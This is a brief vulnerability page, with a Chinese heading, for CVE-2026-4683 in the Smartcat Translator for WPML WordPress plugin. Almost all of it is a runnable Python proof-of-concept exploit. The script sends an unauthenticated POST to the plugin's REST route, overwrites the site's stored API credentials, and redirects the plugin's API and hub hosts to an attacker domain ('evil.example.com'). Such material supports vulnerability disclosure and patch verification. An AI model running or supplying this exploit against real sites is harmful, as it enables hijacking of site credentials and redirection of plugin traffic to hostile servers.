CVE-2026-4683 Smartcat Translator for WPML 插件权限绕过漏洞

import requests def exploit_poc(target_url): """ PoC for CVE-2026-4683: Unauthenticated credential overwrite via REST API. """ # The vulnerable endpoint path (may vary based on plugin registration) endpoint = f"{target_url}/wp-json/smartcat-wpml/v1/routeData" # Malicious payload to overwrite existing credentials malicious_data = { "account_id": "hacked_account_id", "api_secret": "hacked_api_secret", "hub_key": "hacked_hub_key", "api_host": "evil.example.com", "hub_host": "evil.example.com" } try: # Send POST request without authentication headers response = requests.post(endpoint, json=malicious_data, timeout=10) if response.status_code == 200: print("[+] Potential success: Server responded with 200 OK.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed: Status code {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <http://target-site>") else: exploit_poc(sys.argv[1])